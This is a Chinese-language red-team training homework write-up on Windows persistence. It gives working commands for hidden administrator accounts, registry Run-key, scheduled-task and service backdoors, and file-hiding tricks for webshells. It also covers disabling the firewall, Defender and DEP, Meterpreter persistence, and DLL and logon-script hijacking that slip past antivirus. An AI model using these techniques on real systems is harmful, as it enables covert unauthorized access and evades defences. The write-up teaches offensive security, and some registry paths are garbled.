文章来源|MS08067 红队攻防实战班作业
本文作者:苏杰波、李布杰(红队攻防实战班2期学员)
1. 通过组策略运行指定脚本添加隐藏用户
在“开始菜单”->“运行”中输入gpedit.msc打开组策略编辑器,在左边导航栏中选择“计算机配置”->“windows设置”->“脚本(启动/关机)”,双击其右边的“启动”选项,打开“启动属性”窗口:
操作系统启动时自动运行该脚本,使用net user命令查看未发现hacker用户,但通过net user hacker查看该用户时发现它确实存在:
但在本地安全策略中可看到:
需通过在注册表中进行类似账号克隆的操作,分别将如下图所示的项分别导出为item1.reg和item2.reg:
在item1.reg中编辑F参数,通过复制Administrator在注册表中的F参数将该其覆盖后保存:
在cmd命令中执行“net user hacker /del”,然后双击item1.reg和item2.reg重新将hacker用户写入到注册表中,此时在本地安全策略中已无hacker
用“net user hacker$”查看发现该用户存在:
2. 在注册表中添加启动自动运行后门
下图所示为注册表中启动自动运行的目标目录:
通过reg add
"HKEY_CURRENT_USERsoftwaremicrosoftwindowsCurrentVersionRun" /vmyPersist /t reg_sz /d "C:UsersAdministratorDesktoppersist.exe"
命令,可将启动自动运行的程序添加到注册表中的相应项:
3. 通过计划任务添加后门
添加计划任务,每隔1分钟执行一次:
4. services.msc
Windows 权限维持
隐藏技巧
"真正"的隐藏文件
命令:Attrib s a h r [文件]
s:系统
h:隐藏
r:只读
加上s属性后,文件会进一步被隐藏(打开查看隐藏文件都看不见),只有使用 dir - h(ls -h) 等才能看见。
当文件被加上s属性后,后续操作可能没有足够的权限取操作,需要先去掉s属性才能进行后续的操作。
改变系统文件夹图标
通过更改文件夹名称,能更改文件夹图标和双击打开的动作(命令行模式仍可以正常使用)。
但通过命令行模式仍能看见其后缀。
代码语言:javascript复制一些代号
我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D}
回收站.{645ff040-5081-101b-9f08-00aa002f954e}
拔号⽹络.{992CFFA0-F557-101A-88EC-00DD010CCC48}
打印机.{2227a280-3aea-1069-a2de-08002b30309d}
控制⾯板.{21ec2020-3aea-1069-a2dd-08002b30309d}
⽹上邻居.{208D2C60-3AEA-1069-A2D7-08002B30309D}
畸形目录
只有使用cmd能成功,
powershell不行 创建成功后图形界面不会显示,
但命令行能看见。某些操作不能对其作用,如 cd,dir等 ,但可以 copy 文件进去,或者直接查看文件
创建目录:md test....
删除目录:rd /s /q test....
利用系统保留的文件名创建无法删除的webshell
只有使用cmd能成功,powershell不行
保留文件名: aux com1 com2 prn con nul 等
图形化使用此类名创建文件将会报错
此类文件图形化看不见,命令行可以
但可以通过cmd创建,创建和删除时要用绝对路径
创建:md \\.c:com1
删除: rd \.c:com1
创建与操作文件需要管理员权限,目录不需要
在创建是添加 \. 前缀是为了便于访问,不然访问时会将目标当作一个IO设备处理。
驱动级隐藏文件
工具:Easy File Locker
下载链接:http://www.xoslab.com/efl.html
通过设置其属性,达到对应目的(隐藏后命令行也不可见,只有知道完整目录才能访问)改软件可以设置密码、自启动,可以删除主界面,卸载程序都可以,只留下核心驱动文件即可。
如何清除
代码语言:javascript复制1. 查询服务状态:sc qc xlkfs
2. 停止服务:net stop xlkfs(停止后,文件便会显现出来,cmd能见)
3. 删除服务:sc delete xlkfs
4. 删除系统目录下的文件,重启系统,确认服务被清除。
关闭杀软
命令
需要管理员权限
关闭防火墙:netsh advfirewall set allprofiles state off
关闭Defender: Net stop windefend
关闭DEP(数据执行保护): bcdedit /set {current} nx alwaysoff
Meterpreter
代码语言:javascript复制直接运行 run killav
策略组(作业)
gpedit.msc -> 计算机配置 -> windows设置 -> 脚本
通过设置启动与关机时要运行的脚本,执行相关命令。(创建账户、嗅探密码、远程登录等)
代码语言:javascript复制# bat
@echo off
net user hack$ 123qwe /add
net localgroup administrators hack$ /add
exit
注册表(作业)
尽量使用 HKEY_LOCAL_MASHINE 而不是 HKEY_CURRNET_USER (没有的键值对需要自己去新建)
代码语言:javascript复制HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun 添加键,键值为
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnce 只会运行一
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServer 以服务
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServerOnce 只
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx 01 (
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx 01De
同理的还有HKEY_CURRNET_USER树下的。
Meterpreter
1. Persistence后门
在 Meterpreter 中 Persistence 用于后渗透中的权限维持。通常是通过 cscript.exe 这个程序去执行,创建一个 VBS 脚本 (msf和cs都是,对应的,cs是通过rundll32.exe去执行命令,而msf是通过其启动的后门文件。)
常用的参数有
代码语言:javascript复制-S 创建一个服务,随系统启动而启动(System权限)
-U 用户登录时启动后门,就是向注册表HKCU树下写入自启动项
-X 系统登录启动后门,向注册表HKLM树下写入启动项
关于创建的持续性后门,当这个后门启动的时候会周期性的连接目标,只要 cscript.exe 这个进程没有结束。
SharPersist
计划任务(schtasks.exe)(作业)
schtasks.exe 用于在windows系统中指定任务计划,使其能在特定的事件日期执行程序和脚本。
代码语言:javascript复制SCHTASKS /parameter [arguments]
描述:
允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任
务。参数列表:
/Create 创建新计划任务。
/Delete 删除计划任务。
/Query 显示所有计划任务。
/Change 更改计划任务属性。
/Run 按需运行计划任务。
/End 中止当前正在运行的计划任务。
/ShowSid 显示与计划的任务名称相应的安全标识符。
/? 显示此帮助消息。
示例
代码语言:javascript复制schtasks /create /tn/tr <"程序路径和文件名"> /sc <什么时候运行 如 o
创建计划任务启动notepad(需要管理员权限)
对应的可以在 _Task Scheduler 查看
在svchost进程下成功创建了notepad进程
当使用指定账户创建运行计划任务时,当前用户必须具有与之相对或者更高的权限 (使用管理员账户以ystem权限运行计划任务失败)
创建新服务(作业)
cmd使用 sc 对任务进行管理,powershell中使用 get-help service 查看对应的服务操作命令
创建
代码语言:javascript复制sccreate [service name] [binPath= ]...
选项:
注意: 选项名称包括等号。等号和值之间需要一个空格。type=(默认 = own)
start=(默认 = demand)
error=(默认 = normal)
binPath= <.exe 文件的 BinaryPathName>
group=tag=depend= <依存关系(以 / (斜杠)分隔)>
obj=(默认= LocalSystem)
DisplayName= <显示名称>
password= <密码>
实例
代码语言:javascript复制创建服务:sc createbinpath= <"可执行二进制文件"> start= <"启动模式"> obj
启动服务: sc start删除实例:sc delete
创建服务能成功,但是启动一直爆1053错误。
启动错误
内存马
劫持后门
MSDTC服务 (没成功) MSDTC服务开启时默认会加载三个DLL: oci.dll、SQLLib80.dll、xa80.dll , windows系统默认不包括 oci.dll ,将后门dll重命名并放置到 %SystemRoot%system32 中,远程杀掉 MSDTC 服务,使其重启,加载恶意DLL.
镜像劫持
Logon Scripts
Logon Scripts比av先执行,利用这点可以绕过av
注册表路径:HKEY_CURRENT_USEREnvironment 键:UserInitMprLogonScript
值:恶意文件路径